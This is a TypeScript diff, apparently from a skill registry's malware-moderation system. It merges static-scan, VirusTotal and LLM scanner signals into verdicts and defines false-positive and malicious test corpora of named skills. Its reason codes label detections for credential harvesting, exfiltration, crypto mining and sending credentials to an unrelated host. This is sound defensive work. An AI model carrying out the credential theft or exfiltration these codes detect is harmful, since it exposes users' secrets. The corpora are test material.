function dedupeEvidence(evidence: ModerationFinding[]) {
const seen = new Set<string>()
const out: ModerationFinding[] = []
@@ -264,13 +516,15 @@ function dedupeEvidence(evidence: ModerationFinding[]) {
return out.slice(0, 40)
}
function addScannerStatusReason(reasonCodes: string[], scanner: 'vt' | 'llm', status?: string) {
function buildScannerStatusReason(scanner: 'vt' | 'llm', status?: string) {
const normalized = status?.trim().toLowerCase()
if (normalized === 'malicious') {
reasonCodes.push(`malicious.${scanner}_malicious`)
} else if (normalized === 'suspicious') {
reasonCodes.push(`suspicious.${scanner}_suspicious`)
return `malicious.${scanner}_malicious`
}
if (normalized === 'suspicious') {
return `suspicious.${scanner}_suspicious`
}
return null
}
export function runStaticModerationScan(input: StaticScanInput): StaticScanResult {
@@ -295,6 +549,18 @@ export function runStaticModerationScan(input: StaticScanInput): StaticScanResul
})
}
const credentialEndpointMismatch = findCredentialEndpointMismatch(input)
if (credentialEndpointMismatch) {
addFinding(findings, {
code: REASON_CODES.CREDENTIAL_ENDPOINT_MISMATCH,
severity: 'critical',
file: credentialEndpointMismatch.file,
line: credentialEndpointMismatch.line,
message: 'Credential for one provider is sent to an unrelated host.',
evidence: credentialEndpointMismatch.evidence,
})
}
const alwaysValue = input.frontmatter.always
if (alwaysValue === true || alwaysValue === 'true') {
addFinding(findings, {
@@ -337,41 +603,225 @@ export function runStaticModerationScan(input: StaticScanInput): StaticScanResul
}
}
function normalizeSignalVerdict(status?: string | null): ModerationVerdict | null {
const normalized = status?.trim().toLowerCase()
if (normalized === 'clean' || normalized === 'benign') return 'clean'
if (normalized === 'suspicious') return 'suspicious'
if (normalized === 'malicious') return 'malicious'
return null
}
function normalizeSignalState(status?: string | null): ModerationSignalState {
const normalized = status?.trim().toLowerCase()
if (normalized === 'clean' || normalized === 'benign') return 'ready'
if (normalized === 'suspicious' || normalized === 'malicious') return 'ready'
if (normalized === 'completed') return 'ready'
if (normalized === 'error' || normalized === 'failed') {
return 'error'
}
if (
normalized === 'pending' ||
normalized === 'loading' ||
normalized === 'not_found' ||
normalized === 'not-found' ||
normalized === 'stale'
) {
return 'pending'
}
return 'not_applicable'
}
function isExternalScannerClean(status: string | undefined): boolean {
const normalized = status?.trim().toLowerCase()
return normalized === 'clean' || normalized === 'benign'
}
export function buildModerationSnapshot(params: {
function buildStaticSignal(params: {
staticScan?: StaticScanResult
vtStatus?: string
llmStatus?: string
sourceVersionId?: Id<'skillVersions'>
}): ModerationSnapshot {
let staticCodes = [...(params.staticScan?.reasonCodes ?? [])]
const evidence = [...(params.staticScan?.findings ?? [])]
}): ModerationSignalSummary | undefined {
if (!params.staticScan) return undefined
// When both external scanners (VT + LLM) explicitly report clean/benign,
// only suppress allowlisted false-positive static codes from the verdict calculation.
// Everything else remains part of the moderation decision.
const vtClean = isExternalScannerClean(params.vtStatus)
const llmClean = isExternalScannerClean(params.llmStatus)
if (vtClean && llmClean && staticCodes.length > 0) {
staticCodes = staticCodes.filter(
const originalCodes = [...params.staticScan.reasonCodes]
let securityCodes = [...originalCodes]
let suppressedReasonCodes: string[] = []
if (vtClean && llmClean && securityCodes.length > 0) {
suppressedReasonCodes = securityCodes.filter((code) =>
isExternallyClearableSuspiciousCode(code),
)
securityCodes = securityCodes.filter(
(code) => !isExternallyClearableSuspiciousCode(code),
)
}
const reasonCodes = [...staticCodes]
addScannerStatusReason(reasonCodes, 'vt', params.vtStatus)
addScannerStatusReason(reasonCodes, 'llm', params.llmStatus)
const verdict = verdictFromCodes(securityCodes)
const contribution =
securityCodes.length === 0
? suppressedReasonCodes.length > 0
? 'suppressed'
: 'informational'
: verdict === 'malicious'
? 'decisive'
: 'corroborating'
return {
key: 'staticScan',
family: 'local',
state: 'ready',
verdict,
contribution,
reasonCodes: securityCodes,
suppressedReasonCodes: suppressedReasonCodes.length ? suppressedReasonCodes : undefined,
summary: summarizeReasonCodes(securityCodes),
checkedAt: params.staticScan.checkedAt,
}
}
function buildVtSignals(
vtAnalysis?: Doc<'skillVersions'>['vtAnalysis'],
): Pick<ModerationSignals, 'vtEngines' | 'vtCodeInsight'> {
if (!vtAnalysis) return {}
const isCodeInsight =
vtAnalysis.source === 'code_insight' ||
(!vtAnalysis.source && Boolean(vtAnalysis.analysis || vtAnalysis.verdict))
const key = isCodeInsight ? 'vtCodeInsight' : 'vtEngines'
const verdict = normalizeSignalVerdict(vtAnalysis.verdict ?? vtAnalysis.status)
const state = normalizeSignalState(vtAnalysis.verdict ?? vtAnalysis.status)
const reasonCode = buildScannerStatusReason('vt', verdict ?? undefined)
const signal: ModerationSignalSummary = {
key,
family: 'vt',
state,
verdict: verdict ?? undefined,
contribution:
state !== 'ready'
? 'none'
: verdict === 'malicious'
? 'decisive'
: verdict === 'suspicious'
? 'corroborating'
: 'informational',
reasonCodes: reasonCode ? [reasonCode] : [],
summary:
verdict === 'clean'
? 'VirusTotal reported clean.'
: verdict === 'suspicious'
? 'VirusTotal reported suspicious behavior.'
: verdict === 'malicious'
? 'VirusTotal reported malicious behavior.'
: undefined,
checkedAt: vtAnalysis.checkedAt,
details: {
source: vtAnalysis.source,
analysis: vtAnalysis.analysis,
status: vtAnalysis.status,
verdict: vtAnalysis.verdict,
},
}
return key === 'vtCodeInsight' ? { vtCodeInsight: signal } : { vtEngines: signal }
}
function buildLlmSignal(llmAnalysis?: Doc<'skillVersions'>['llmAnalysis']): ModerationSignalSummary | undefined {
if (!llmAnalysis) return undefined
const verdict = normalizeSignalVerdict(llmAnalysis.verdict ?? llmAnalysis.status)
const state = normalizeSignalState(llmAnalysis.verdict ?? llmAnalysis.status)
const reasonCode = buildScannerStatusReason('llm', verdict ?? undefined)
const normalizedConfidence = llmAnalysis.confidence?.trim().toLowerCase()
let contribution: ModerationSignalContribution = 'none'
if (state === 'ready') {
if (verdict === 'malicious') {
contribution = 'decisive'
} else if (verdict === 'suspicious') {
contribution =
normalizedConfidence === 'low'
? 'informational'
: 'corroborating'
} else if (verdict === 'clean') {
contribution = 'informational'
}
}
return {
key: 'llmScan',
family: 'llm',
state,
verdict: verdict ?? undefined,
contribution,
reasonCodes: reasonCode ? [reasonCode] : [],
summary: llmAnalysis.summary ?? undefined,
checkedAt: llmAnalysis.checkedAt,
details: {
confidence: llmAnalysis.confidence,
dimensions: llmAnalysis.dimensions,
guidance: llmAnalysis.guidance,
findings: llmAnalysis.findings,
model: llmAnalysis.model,
status: llmAnalysis.status,
verdict: llmAnalysis.verdict,
},
}
}
function collectContributingSignals(signals: ModerationSignals) {
return Object.values(signals).filter(
(signal): signal is ModerationSignalSummary =>
Boolean(signal) &&
signal.state === 'ready' &&
(signal.contribution === 'decisive' || signal.contribution === 'corroborating') &&
(signal.verdict === 'suspicious' || signal.verdict === 'malicious'),
)
}
export function buildModerationSnapshot(params: {
staticScan?: StaticScanResult
vtAnalysis?: Doc<'skillVersions'>['vtAnalysis']
llmAnalysis?: Doc<'skillVersions'>['llmAnalysis']
sourceVersionId?: Id<'skillVersions'>
}): ModerationSnapshot {
const evidence = [...(params.staticScan?.findings ?? [])]
const signals: ModerationSignals = {
staticScan: buildStaticSignal({
staticScan: params.staticScan,
vtStatus: params.vtAnalysis?.verdict ?? params.vtAnalysis?.status,
llmStatus: params.llmAnalysis?.verdict ?? params.llmAnalysis?.status,
}),
...buildVtSignals(params.vtAnalysis),
llmScan: buildLlmSignal(params.llmAnalysis),
}
const contributingSignals = collectContributingSignals(signals)
const contributorFamilies = new Set(contributingSignals.map((signal) => signal.family))
const hasDecisiveMaliciousSignal = contributingSignals.some(
(signal) => signal.verdict === 'malicious' && signal.contribution === 'decisive',
)
const contributingReasonCodes = normalizeReasonCodes(
contributingSignals.flatMap((signal) => signal.reasonCodes),
)
const metadataCodes = normalizeReasonCodes(
Object.values(signals).flatMap((signal) => signal?.metadataCodes ?? []),
)
const verdict: ScannerModerationVerdict = hasDecisiveMaliciousSignal
? 'malicious'
: contributorFamilies.size >= 2
? 'suspicious'
: 'clean'
const normalizedCodes = verdict === 'clean' ? [] : contributingReasonCodes
const normalizedCodes = normalizeReasonCodes(reasonCodes)
const verdict = verdictFromCodes(normalizedCodes)
return {
verdict,
reasonCodes: normalizedCodes,
evidence: dedupeEvidence(evidence),
metadataCodes,
signals,
summary: summarizeReasonCodes(normalizedCodes),
engineVersion: MODERATION_ENGINE_VERSION,
evaluatedAt: Date.now(),
+2
View File
@@ -18,6 +18,7 @@ export const REASON_CODES = {
DANGEROUS_EXEC: 'suspicious.dangerous_exec',
DYNAMIC_CODE: 'suspicious.dynamic_code_execution',
CREDENTIAL_HARVEST: 'suspicious.env_credential_access',
CREDENTIAL_ENDPOINT_MISMATCH: 'malicious.credential_endpoint_mismatch',
EXFILTRATION: 'suspicious.potential_exfiltration',
OBFUSCATED_CODE: 'suspicious.obfuscated_code',
SUSPICIOUS_NETWORK: 'suspicious.nonstandard_network',
@@ -30,6 +31,7 @@ export const REASON_CODES = {
} as const
const MALICIOUS_CODES = new Set<string>([
REASON_CODES.CREDENTIAL_ENDPOINT_MISMATCH,
REASON_CODES.CRYPTO_MINING,
REASON_CODES.MALICIOUS_INSTALL_PROMPT,
REASON_CODES.KNOWN_BLOCKED_SIGNATURE,
+82
View File
@@ -0,0 +1,82 @@
export type FalsePositiveCase = {
caseId: string
bucket:
| 'stale_state'
| 'api_wrapper'
| 'docs_only'
| 'constrained_subprocess'
| 'security_tool_fixture'
issueNumber: number
sourceSlug: string
notes: string
}
export const DEFAULT_REGISTRY_BASE_URL = 'https://clawhub.ai'
export const DEFAULT_USER_PREFIX = 'fp-'
export const DEFAULT_ADMIN_PREFIX = 'fp-admin-'
export const FALSE_POSITIVE_CORPUS: FalsePositiveCase[] = [
{
caseId: 'stale-ai-image-prompts',
bucket: 'stale_state',
issueNumber: 733,
sourceSlug: 'ai-image-prompts',
notes: 'Current prod moderation is stale suspicious while VT and LLM were reported clean.',
},
{
caseId: 'stale-nano-banana-pro-prompts-recommend',
bucket: 'stale_state',
issueNumber: 733,
sourceSlug: 'nano-banana-pro-prompts-recommend',
notes: 'Second stale-state case from the same report to catch bucket-specific drift.',
},
{
caseId: 'api-wrapper-element-nft-tracker',
bucket: 'api_wrapper',
issueNumber: 813,
sourceSlug: 'element-nft-tracker',
notes: 'Read-only API wrapper with env var auth and documented curl calls.',
},
{
caseId: 'docs-only-pmctl',
bucket: 'docs_only',
issueNumber: 808,
sourceSlug: 'pmctl',
notes: 'Single-file markdown skill mentioning API keys and external URLs.',
},
{
caseId: 'subprocess-song-song-taxi-skill',
bucket: 'constrained_subprocess',
issueNumber: 799,
sourceSlug: 'song-song-taxi-skill',
notes: 'Uses child_process.spawn in constrained non-shell mode for fixed MCP tooling.',
},
{
caseId: 'security-tool-aliyun-clawscan',
bucket: 'security_tool_fixture',
issueNumber: 718,
sourceSlug: 'aliyun-clawscan',
notes: 'Security scanner skill containing signatures and attack-pattern fixtures.',
},
]
export function normalizeBaseUrl(value?: string) {
const trimmed = value?.trim()
if (!trimmed) return DEFAULT_REGISTRY_BASE_URL
return trimmed.endsWith('/') ? trimmed.slice(0, -1) : trimmed
}
export function normalizePrefix(value: string | undefined, fallback: string) {
const trimmed = value?.trim().toLowerCase()
return trimmed || fallback
}
export function buildTargetSlug(prefix: string, sourceSlug: string) {
return `${prefix}${sourceSlug}`.toLowerCase()
}
export function resolveCorpusCases(caseIds?: string[]) {
if (!caseIds?.length) return FALSE_POSITIVE_CORPUS
const wanted = new Set(caseIds.map((caseId) => caseId.trim()).filter(Boolean))
return FALSE_POSITIVE_CORPUS.filter((entry) => wanted.has(entry.caseId))
}
@@ -0,0 +1,91 @@
export type MaliciousCorpusCase = {
caseId: string
bucket:
| 'vt_malicious'
| 'llm_malicious'
| 'static_malicious'
| 'mixed_malicious'
sourceSlug: string
assertLiveMalicious: boolean
notes: string
}
export const DEFAULT_MALICIOUS_USER_PREFIX = 'mal-'
export const DEFAULT_MALICIOUS_ADMIN_PREFIX = 'mal-admin-'
export const MALICIOUS_CORPUS: MaliciousCorpusCase[] = [
{
caseId: 'vt-malicious-doubao-claw',
bucket: 'vt_malicious',
sourceSlug: 'doubao-claw',
assertLiveMalicious: false,
notes: 'VT malicious with suspicious static credential access and suspicious LLM analysis.',
},
{
caseId: 'vt-malicious-antigravity-claw',
bucket: 'vt_malicious',
sourceSlug: 'antigravity-claw',
assertLiveMalicious: false,
notes: 'VT malicious case with otherwise clean static scan to prove a single malicious family still blocks.',
},
{
caseId: 'llm-malicious-amazon-product-research',
bucket: 'llm_malicious',
sourceSlug: 'amazon-product-research',
assertLiveMalicious: false,
notes: 'LLM malicious with only VT suspicious; this was the Phase 2 regression we fixed.',
},
{
caseId: 'vt-and-llm-malicious-priority-override',
bucket: 'mixed_malicious',
sourceSlug: 'priority-override',
assertLiveMalicious: false,
notes: 'Both VT and LLM malicious to keep a high-confidence malicious overlap sample.',
},
{
caseId: 'static-malicious-kalshi-trades',
bucket: 'static_malicious',
sourceSlug: 'kalshi-trades',
assertLiveMalicious: false,
notes:
'Historical static-malicious case; current static engine reclassifies it lower, so keep it as a live drift monitor rather than a hard gate.',
},
{
caseId: 'static-malicious-clawhub-push-skill',
bucket: 'static_malicious',
sourceSlug: 'clawhub-push-skill',
assertLiveMalicious: false,
notes:
'Historical static-malicious case; current static engine reclassifies it lower, so keep it as a live drift monitor rather than a hard gate.',
},
{
caseId: 'mixed-malicious-skillboss-4',
bucket: 'mixed_malicious',
sourceSlug: 'skillboss-4',
assertLiveMalicious: false,
notes:
'Historical mixed-malicious case; current static engine now lands suspicious, so use it as a live-provider drift monitor.',
},
{
caseId: 'static-malicious-clawscan-v2',
bucket: 'static_malicious',
sourceSlug: 'clawscan-v2',
assertLiveMalicious: true,
notes: 'Static malicious crypto-mining signature with supporting suspicious LLM analysis.',
},
]
export function normalizeMaliciousPrefix(value: string | undefined, fallback: string) {
const trimmed = value?.trim().toLowerCase()
return trimmed || fallback
}
export function buildMaliciousTargetSlug(prefix: string, sourceSlug: string) {
return `${prefix}${sourceSlug}`.toLowerCase()
}
export function resolveMaliciousCorpusCases(caseIds?: string[]) {
if (!caseIds?.length) return MALICIOUS_CORPUS
const wanted = new Set(caseIds.map((caseId) => caseId.trim()).filter(Boolean))
return MALICIOUS_CORPUS.filter((entry) => wanted.has(entry.caseId))
}
+446 -1
View File
@@ -1,10 +1,13 @@
import { ConvexError, v } from 'convex/values'
import { internal } from './_generated/api'
import { unzipSync } from 'fflate'
import { api, internal } from './_generated/api'
import type { Doc, Id } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { action, internalAction, internalMutation, internalQuery } from './functions'
import { guessContentTypeForPath } from './lib/contentTypes'
import { assertRole, requireUserFromAction } from './lib/access'
import { buildSkillSummaryBackfillPatch, type ParsedSkillData } from './lib/skillBackfill'
import { publishVersionForUser } from './lib/skillPublish'
import {
computeQualitySignals,
evaluateQuality,
@@ -23,6 +26,11 @@ const MAX_MAX_BATCHES = 200
const DEFAULT_EMPTY_SKILL_MAX_README_BYTES = 8000
const DEFAULT_EMPTY_SKILL_NOMINATION_THRESHOLD = 3
const PLATFORM_SKILL_LICENSE = 'MIT-0' as const
const DEFAULT_CORPUS_SITE_URL = 'https://clawhub.ai'
const DEFAULT_CORPUS_OWNER_HANDLE = 'security-phase2-corpus'
const DEFAULT_CORPUS_OWNER_DISPLAY_NAME = 'Security Phase 2 Corpus'
const DEFAULT_CORPUS_WAIT_TIMEOUT_MS = 10 * 60 * 1000
const DEFAULT_CORPUS_POLL_INTERVAL_MS = 5000
type BackfillStats = {
skillsScanned: number
@@ -1867,8 +1875,445 @@ export const backfillDigestIsSuspicious = internalMutation({
},
})
type CanonicalSkillSummary = {
slug: string
displayName: string
version: string
sourceOwnerHandle: string | null
sourceModeration: {
verdict: string | null
reasonCodes: string[]
summary: string | null
isSuspicious: boolean
isMalwareBlocked: boolean
}
}
type ImportedCorpusSkillResult = {
slug: string
status: 'imported' | 'already_present' | 'conflict' | 'error'
detail?: string
skillId?: Id<'skills'>
versionId?: Id<'skillVersions'>
source?: CanonicalSkillSummary
}
type CorpusModerationReportItem = {
slug: string
ownerHandle: string | null
displayName: string
version: string | null
moderationStatus: Doc<'skills'>['moderationStatus']
moderationReason: Doc<'skills'>['moderationReason']
moderationVerdict: Doc<'skills'>['moderationVerdict']
moderationReasonCodes: string[]
isSuspicious: boolean
moderationSignals: Doc<'skills'>['moderationSignals']
staticStatus: string | null
vtStatus: string | null
llmStatus: string | null
}
export const ensureSecurityCorpusOwnerInternal = internalMutation({
args: {
handle: v.optional(v.string()),
displayName: v.optional(v.string()),
role: v.optional(v.union(v.literal('admin'), v.literal('moderator'), v.literal('user'))),
trustedPublisher: v.optional(v.boolean()),
},
handler: async (ctx, args) => {
const handle = normalizeCorpusHandle(args.handle)
const displayName = normalizeNonEmpty(args.displayName) ?? DEFAULT_CORPUS_OWNER_DISPLAY_NAME
const now = Date.now()
const existing = await ctx.db
.query('users')
.withIndex('handle', (q) => q.eq('handle', handle))
.unique()
const patch: Partial<Doc<'users'>> = {}
if (existing) {
if (existing.displayName !== displayName) patch.displayName = displayName
if (existing.name !== handle) patch.name = handle
if ((existing.role ?? 'user') !== (args.role ?? existing.role ?? 'user')) {
patch.role = args.role ?? existing.role ?? 'user'
}
if (args.trustedPublisher !== undefined && existing.trustedPublisher !== args.trustedPublisher) {
patch.trustedPublisher = args.trustedPublisher
}
if (!existing.createdAt) patch.createdAt = existing._creationTime
if (Object.keys(patch).length > 0) {
patch.updatedAt = now
await ctx.db.patch(existing._id, patch)
}
return existing._id
}
return ctx.db.insert('users', {
handle,
name: handle,
displayName,
role: args.role ?? 'user',
trustedPublisher: args.trustedPublisher ?? false,
createdAt: now,
updatedAt: now,
})
},
})
export const getSecurityCorpusReportInternal = internalQuery({
args: {
slugs: v.optional(v.array(v.string())),
ownerHandle: v.optional(v.string()),
},
handler: async (ctx, args): Promise<CorpusModerationReportItem[]> => {
const ownerHandle = normalizeNonEmpty(args.ownerHandle)
const items: Doc<'skills'>[] = []
if (args.slugs?.length) {
for (const rawSlug of args.slugs) {
const slug = rawSlug.trim().toLowerCase()
if (!slug) continue
const skill = await ctx.db
.query('skills')
.withIndex('by_slug', (q) => q.eq('slug', slug))
.unique()
if (!skill) continue
items.push(skill)
}
} else if (ownerHandle) {
const owner = await ctx.db
.query('users')
.withIndex('handle', (q) => q.eq('handle', ownerHandle))
.unique()
if (!owner) return []
const owned = await ctx.db
.query('skills')
.withIndex('by_owner', (q) => q.eq('ownerUserId', owner._id))
.collect()
items.push(...owned)
} else {
return []
}
const ownerIds = [...new Set(items.map((item) => item.ownerUserId))]
const owners = new Map<Id<'users'>, Doc<'users'>>()
for (const ownerId of ownerIds) {
const owner = await ctx.db.get(ownerId)
if (owner) owners.set(ownerId, owner)
}
const results: CorpusModerationReportItem[] = []
for (const skill of items) {
const version = skill.latestVersionId ? await ctx.db.get(skill.latestVersionId) : null
const owner = owners.get(skill.ownerUserId) ?? null
results.push({
slug: skill.slug,
ownerHandle: owner?.handle ?? null,
displayName: skill.displayName,
version: version?.version ?? null,
moderationStatus: skill.moderationStatus,
moderationReason: skill.moderationReason,
moderationVerdict: skill.moderationVerdict,
moderationReasonCodes: skill.moderationReasonCodes ?? [],
isSuspicious: Boolean(skill.isSuspicious),
moderationSignals: skill.moderationSignals,
staticStatus: version?.staticScan?.status ?? null,
vtStatus: version?.vtAnalysis?.status ?? null,
llmStatus: version?.llmAnalysis?.status ?? null,
})
}
return results.sort((a, b) => a.slug.localeCompare(b.slug))
},
})
export const importCanonicalSkillCorpusInternal = internalAction({
args: {
items: v.array(
v.object({
slug: v.string(),
version: v.optional(v.string()),
}),
),
siteUrl: v.optional(v.string()),
ownerHandle: v.optional(v.string()),
ownerDisplayName: v.optional(v.string()),
ownerRole: v.optional(v.union(v.literal('admin'), v.literal('moderator'), v.literal('user'))),
ownerTrustedPublisher: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<{ ownerId: Id<'users'>; results: ImportedCorpusSkillResult[] }> => {
const siteUrl = normalizeSiteUrl(args.siteUrl)
const ownerId = (await ctx.runMutation(internal.maintenance.ensureSecurityCorpusOwnerInternal, {
handle: args.ownerHandle,
displayName: args.ownerDisplayName,
role: args.ownerRole,
trustedPublisher: args.ownerTrustedPublisher,
})) as Id<'users'>
const results: ImportedCorpusSkillResult[] = []
for (const item of args.items) {
const slug = item.slug.trim().toLowerCase()
if (!slug) {
results.push({ slug: item.slug, status: 'error', detail: 'Slug is required' })
continue
}
try {
const source = await fetchCanonicalSkillSummary(siteUrl, slug, item.version)
const existing = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug,
})) as Doc<'skills'> | null
if (existing && existing.ownerUserId !== ownerId) {
results.push({
slug,
status: 'conflict',
detail: `Slug is already owned by ${String(existing.ownerUserId)} in dev`,
source,
})
continue
}
if (existing) {
const existingVersion = await ctx.runQuery(api.skills.getVersionBySkillAndVersion, {
skillId: existing._id,
version: source.version,
})
if (existingVersion) {
results.push({
slug,
status: 'already_present',
skillId: existing._id,
versionId: existingVersion._id,
source,
})
continue
}
}
const files = await fetchCanonicalSkillFiles(ctx, siteUrl, slug, source.version)
if (files.length === 0) {
results.push({
slug,
status: 'error',
detail: 'Downloaded corpus zip did not contain any files',
source,
})
continue
}
const publishResult = await publishVersionForUser(
ctx,
ownerId,
{
slug,
displayName: source.displayName,
version: source.version,
changelog: 'Imported from production corpus for security arbitration testing',
files,
},
{
bypassGitHubAccountAge: true,
bypassNewSkillRateLimit: true,
bypassQualityGate: true,
skipBackup: true,
skipWebhook: true,
},
)
results.push({
slug,
status: 'imported',
skillId: publishResult.skillId,
versionId: publishResult.versionId,
source,
})
} catch (error) {
results.push({
slug,
status: 'error',
detail: error instanceof Error ? error.message : String(error),
})
}
}
return { ownerId, results }
},
})
export const waitForSecurityCorpusScansInternal = internalAction({
args: {
slugs: v.array(v.string()),
timeoutMs: v.optional(v.number()),
pollIntervalMs: v.optional(v.number()),
},
handler: async (ctx, args) => {
const timeoutMs = clampInt(args.timeoutMs ?? DEFAULT_CORPUS_WAIT_TIMEOUT_MS, 1000, 60 * 60 * 1000)
const pollIntervalMs = clampInt(
args.pollIntervalMs ?? DEFAULT_CORPUS_POLL_INTERVAL_MS,
250,
60_000,
)
const deadline = Date.now() + timeoutMs
let lastReport: CorpusModerationReportItem[] = []
while (Date.now() <= deadline) {
lastReport = (await ctx.runQuery(internal.maintenance.getSecurityCorpusReportInternal, {
slugs: args.slugs,
})) as CorpusModerationReportItem[]
const allReady =
lastReport.length === args.slugs.length &&
lastReport.every(
(item) =>
item.vtStatus !== null &&
item.llmStatus !== null &&
item.vtStatus !== 'pending' &&
item.llmStatus !== 'pending',
)
if (allReady) {
return {
done: true as const,
timedOut: false as const,
items: lastReport,
}
}
await delay(pollIntervalMs)
}
lastReport = (await ctx.runQuery(internal.maintenance.getSecurityCorpusReportInternal, {
slugs: args.slugs,
})) as CorpusModerationReportItem[]
return {
done: false as const,
timedOut: true as const,
items: lastReport,
}
},
})
function clampInt(value: number, min: number, max: number) {
const rounded = Math.trunc(value)
if (!Number.isFinite(rounded)) return min
return Math.min(max, Math.max(min, rounded))
}
function normalizeNonEmpty(value: string | undefined) {
const trimmed = value?.trim()
return trimmed ? trimmed : undefined
}
function normalizeCorpusHandle(value: string | undefined) {
return (normalizeNonEmpty(value) ?? DEFAULT_CORPUS_OWNER_HANDLE).toLowerCase()
}
function normalizeSiteUrl(value: string | undefined) {
return (normalizeNonEmpty(value) ?? DEFAULT_CORPUS_SITE_URL).replace(/\/+$/, '')
}
async function fetchCanonicalSkillSummary(
siteUrl: string,
slug: string,
versionOverride?: string,
): Promise<CanonicalSkillSummary> {
const response = await fetch(`${siteUrl}/api/v1/skills/${encodeURIComponent(slug)}`)
if (!response.ok) {
throw new Error(`Failed to fetch canonical skill metadata (${response.status})`)
}
const payload = (await response.json()) as Record<string, unknown>
const skill = asRecord(payload.skill)
const latestVersion = asRecord(payload.latestVersion)
const owner = asRecord(payload.owner)
const moderation = asRecord(payload.moderation)
const displayName = asString(skill?.displayName)
const version = normalizeNonEmpty(versionOverride) ?? asString(latestVersion?.version)
if (!displayName || !version) {
throw new Error('Canonical skill response is missing displayName or version')
}
return {
slug,
displayName,
version,
sourceOwnerHandle: asString(owner?.handle) ?? null,
sourceModeration: {
verdict: asString(moderation?.verdict) ?? null,
reasonCodes: asStringArray(moderation?.reasonCodes),
summary: asString(moderation?.summary) ?? null,
isSuspicious: Boolean(moderation?.isSuspicious),
isMalwareBlocked: Boolean(moderation?.isMalwareBlocked),
},
}
}
async function fetchCanonicalSkillFiles(
ctx: ActionCtx,
siteUrl: string,
slug: string,
version: string,
) {
const response = await fetch(
`${siteUrl}/api/v1/download?slug=${encodeURIComponent(slug)}&version=${encodeURIComponent(version)}`,
)
if (!response.ok) {
throw new Error(`Failed to download canonical zip (${response.status})`)
}
const zipBytes = new Uint8Array(await response.arrayBuffer())
const archive = unzipSync(zipBytes)
const files: Array<{
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}> = []
for (const [path, bytes] of Object.entries(archive)) {
if (path === '_meta.json') continue
const normalizedBytes = Uint8Array.from(bytes)
const contentType = guessContentTypeForPath(path)
const storageId = await ctx.storage.store(new Blob([normalizedBytes], { type: contentType }))
files.push({
path,
size: normalizedBytes.byteLength,
storageId,
sha256: await sha256Hex(normalizedBytes),
contentType,
})
}
files.sort((a, b) => a.path.localeCompare(b.path))
return files
}
function asRecord(value: unknown) {
if (!value || typeof value !== 'object' || Array.isArray(value)) return null
return value as Record<string, unknown>
}
function asString(value: unknown) {
return typeof value === 'string' ? value : undefined
}
function asStringArray(value: unknown) {
return Array.isArray(value) ? value.filter((item): item is string => typeof item === 'string') : []
}
async function sha256Hex(bytes: Uint8Array) {
const arrayBuffer = new ArrayBuffer(bytes.byteLength)
new Uint8Array(arrayBuffer).set(bytes)
const hashBuffer = await crypto.subtle.digest('SHA-256', arrayBuffer)
return Array.from(new Uint8Array(hashBuffer))
.map((byte) => byte.toString(16).padStart(2, '0'))
.join('')
}
async function delay(ms: number) {
await new Promise((resolve) => setTimeout(resolve, ms))
}
+290
View File
@@ -0,0 +1,290 @@
import { v } from 'convex/values'
import type { Doc } from './_generated/dataModel'
import { internalMutation, internalQuery } from './functions'
import {
buildTargetSlug,
DEFAULT_ADMIN_PREFIX,
DEFAULT_USER_PREFIX,
FALSE_POSITIVE_CORPUS,
normalizePrefix,
resolveCorpusCases,
type FalsePositiveCase,
} from './lib/moderationTestingCorpus'
import {
buildMaliciousTargetSlug,
DEFAULT_MALICIOUS_ADMIN_PREFIX,
DEFAULT_MALICIOUS_USER_PREFIX,
MALICIOUS_CORPUS,
normalizeMaliciousPrefix,
resolveMaliciousCorpusCases,
type MaliciousCorpusCase,
} from './lib/moderationTestingMaliciousCorpus'
const userRoleValidator = v.union(
v.literal('admin'),
v.literal('moderator'),
v.literal('user'),
)
type ImportedSkillReport = {
caseId: string
bucket: FalsePositiveCase['bucket']
issueNumber: number
sourceSlug: string
targetSlug: string
ownerHandle: string
ownerRole: 'admin' | 'moderator' | 'user'
notes: string
exists: boolean
version: string | null
sourceVersionId: string | null
moderationStatus: Doc<'skills'>['moderationStatus'] | null
moderationReason: Doc<'skills'>['moderationReason'] | null
moderationVerdict: Doc<'skills'>['moderationVerdict'] | null
moderationReasonCodes: Doc<'skills'>['moderationReasonCodes'] | null
moderationFlags: Doc<'skills'>['moderationFlags'] | null
moderationSignals: Doc<'skills'>['moderationSignals'] | null
isSuspicious: boolean | null
staticScan: Doc<'skillVersions'>['staticScan'] | null
vtAnalysis: Doc<'skillVersions'>['vtAnalysis'] | null
llmAnalysis: Doc<'skillVersions'>['llmAnalysis'] | null
versionSignals: Doc<'skillVersions'>['moderationSignals'] | null
}
type ImportedMaliciousSkillReport = {
caseId: string
bucket: MaliciousCorpusCase['bucket']
sourceSlug: string
targetSlug: string
ownerHandle: string
ownerRole: 'admin' | 'moderator' | 'user'
notes: string
exists: boolean
version: string | null
sourceVersionId: string | null
moderationStatus: Doc<'skills'>['moderationStatus'] | null
moderationReason: Doc<'skills'>['moderationReason'] | null
moderationVerdict: Doc<'skills'>['moderationVerdict'] | null
moderationReasonCodes: Doc<'skills'>['moderationReasonCodes'] | null
moderationFlags: Doc<'skills'>['moderationFlags'] | null
moderationSignals: Doc<'skills'>['moderationSignals'] | null
isSuspicious: boolean | null
staticScan: Doc<'skillVersions'>['staticScan'] | null
vtAnalysis: Doc<'skillVersions'>['vtAnalysis'] | null
llmAnalysis: Doc<'skillVersions'>['llmAnalysis'] | null
versionSignals: Doc<'skillVersions'>['moderationSignals'] | null
}
export const ensureCorpusUserInternal = internalMutation({
args: {
handle: v.string(),
displayName: v.optional(v.string()),
role: userRoleValidator,
trustedPublisher: v.optional(v.boolean()),
},
handler: async (ctx, args) => {
const handle = args.handle.trim().toLowerCase()
if (!handle) throw new Error('handle is required')
const displayName = args.displayName?.trim() || handle
const now = Date.now()
const existing = await ctx.db
.query('users')
.withIndex('handle', (q) => q.eq('handle', handle))
.unique()
if (existing) {
const patch: Partial<Doc<'users'>> = {}
if (existing.displayName !== displayName) patch.displayName = displayName
if (existing.name !== handle) patch.name = handle
if (existing.role !== args.role) patch.role = args.role
if (existing.trustedPublisher !== args.trustedPublisher) {
patch.trustedPublisher = args.trustedPublisher
}
if (existing.deletedAt !== undefined) patch.deletedAt = undefined
if (existing.deactivatedAt !== undefined) patch.deactivatedAt = undefined
if (Object.keys(patch).length > 0) {
patch.updatedAt = now
await ctx.db.patch(existing._id, patch)
}
return { userId: existing._id, created: false as const }
}
const userId = await ctx.db.insert('users', {
handle,
